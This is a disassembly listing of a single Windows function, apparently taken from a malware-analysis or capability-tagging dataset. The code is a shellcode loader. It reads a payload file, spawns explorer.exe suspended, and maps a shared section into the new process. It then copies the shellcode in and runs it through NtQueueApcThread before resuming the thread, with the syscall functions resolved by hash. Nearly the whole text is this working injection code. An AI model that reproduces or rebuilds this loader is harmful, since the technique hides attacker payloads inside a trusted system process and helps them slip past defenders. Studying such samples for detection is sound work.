Function at 0x140001390
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Get file size
Read file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
lea rbp, [r11 - 0x78]
sub rsp, 0x168
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
mov qword [r11 + 0x18], rdi
xor eax, eax
mov qword [r11 - 0x18], r15
xor r15d, r15d
mov qword [rbp + 0x40], rax
mov dword [rbp - 0x28], r15d
xorps xmm1, xmm1
mov qword [rbp - 0x60], r15
mov rdi, rdx
mov qword [rbp - 0x58], r15
mov ebx, r15d
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x30], rax
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp - 0x40], xmm0
cmp ecx, 2
jge 0x14000142b
mov rdx, qword [rdx]
lea rcx, str._s_shellcode.bin_n
call fcn.140001330
jmp 0x1400017c2
lea rdx, [rsp + 0x60]
mov ecx, 0x916c6394
call section..text
mov ebx, eax
test eax, eax
je 0x1400017c2
lea rdx, [rsp + 0x50]
mov ecx, 0x625d5a2e
call section..text
mov ebx, eax
test eax, eax
je 0x1400017c2
lea rdx, [rsp + 0x70]
mov ecx, 0x9523617c
call section..text
mov ebx, eax
test eax, eax
je 0x1400017c2
lea rdx, [rbp - 0x80]
mov ecx, 0x6d397e74
call section..text
mov ebx, eax
test eax, eax
je 0x1400017c2
lea rdx, [rbp - 0x70]
mov ecx, 0x8a4e6274
call section..text
mov ebx, eax
test eax, eax
je 0x1400017c2
mov rcx, qword [rdi + 8]
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x180], rsi
lea r8d, [r9 + 1]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400014f7
mov rdx, qword [rdi + 8]
lea rcx, str.____Failed_to_open:__s_n
call fcn.140001330
jmp 0x1400017ba
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
mov qword [rbp - 0x60], rdx
test eax, eax
jne 0x14000151d
lea rcx, str.____File_is_empty__n
call fcn.140001330
jmp 0x1400017ba
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140001548
lea rcx, str.Out_of_memory_o.0_n
call fcn.140001330
jmp 0x1400017ba
mov r8d, dword [rbp - 0x60]
lea r9, [rbp - 0x28]
mov rdx, rdi
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
test eax, eax
jne 0x140001578
lea rcx, str.___Failed_to_read_n
call fcn.140001330
jmp 0x1400017ba
lea rax, [rbp - 0x40]
mov dword [rbp - 0x20], 0x68
mov qword [rsp + 0x48], rax
lea rcx, str.C:Windowsexplorer.exe
lea rax, [rbp - 0x20]
mov word [rbp + 0x20], r15w
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
mov dword [rbp + 0x1c], 0x101
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
test eax, eax
je 0x1400017ba
mov rdx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x60]
call fcn.140001810
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
lea r9, [rbp - 0x60]
lea rcx, [rbp - 0x58]
mov dword [rsp + 0x20], 0x40
lea edx, [r8 + 0xe]
call fcn.14000181d
test eax, eax
jns 0x14000161f
lea rcx, str.____Failed_to_create_section_n
call fcn.140001330
jmp 0x1400017ba
mov rdx, qword [rbp - 0x58]
lea rcx, str.___Created_section:_0x_p_n
call fcn.140001330
mov rsi, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rdx, rsi
call fcn.140001810
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rbp - 0x58]
lea r8, [rbp - 0x50]
mov dword [rsp + 0x48], 4
mov rdx, rax
mov dword [rsp + 0x40], r15d
lea rax, [rbp - 0x60]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
call fcn.14000181d
test eax, eax
jns 0x140001696
lea rcx, str.____Failed_to_map_view_of_section_locally_n
call fcn.140001330
jmp 0x1400017ba
mov rdx, qword [rbp - 0x50]
lea rcx, str.___Mapped_section_locally:_0x_p_n
call fcn.140001330
mov ecx, dword [rsp + 0x50]
mov rdx, rsi
call fcn.140001810
mov rdx, qword [rbp - 0x40]
lea rax, [rbp - 0x60]
mov rcx, qword [rbp - 0x58]
lea r8, [rbp - 0x48]
mov dword [rsp + 0x48], 0x40
xor r9d, r9d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
call fcn.14000181d
test eax, eax
jns 0x140001703
lea rcx, str.____Failed_to_map_view_of_section_remotely_n
call fcn.140001330
jmp 0x1400017ba
mov rdx, qword [rbp - 0x48]
lea rcx, str.___Mapped_section_remote:_0x_p_n
call fcn.140001330
mov r8d, r15d
cmp qword [rbp - 0x60], r8
jbe 0x14000173c
mov rdx, r15
nop
mov rax, qword [rbp - 0x50]
inc r8d
movzx ecx, byte [rdx + rdi]
lea rdx, [rdx + 1]
mov byte [rdx + rax - 1], cl
movsxd rax, r8d
cmp rax, qword [rbp - 0x60]
jb 0x140001720
mov rdx, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x70]
call fcn.140001810
mov rdx, qword [rbp - 0x48]
xor r9d, r9d
mov rcx, qword [rbp - 0x38]
mov r8, rdx
mov qword [rsp + 0x20], r15
call fcn.14000181d
test eax, eax
jns 0x140001774
lea rcx, str.____Failed_to_call_NtQueueApcThread_n
call fcn.140001330
jmp 0x1400017ba
lea rcx, str.___NtQueueApcThread_successfull_n
call fcn.140001330
mov rdx, qword [rbp - 0x78]
mov ecx, dword [rbp - 0x80]
call fcn.140001810
mov rcx, qword [rbp - 0x38]
xor edx, edx
call fcn.14000181d
test eax, eax
jns 0x1400017a9
lea rcx, str.____Failed_to_resume_thread_n
call fcn.140001330
jmp 0x1400017ba
lea rcx, str.___Resumed_thread_n
call fcn.140001330
mov ebx, 1
mov rsi, qword [rsp + 0x180]
mov rcx, qword [rbp - 0x40]
mov r15, qword [rsp + 0x160]
mov rdi, qword [rsp + 0x190]
test rcx, rcx
je 0x1400017e1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400017f0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140001840
add rsp, 0x168
pop rbx
pop rbp
ret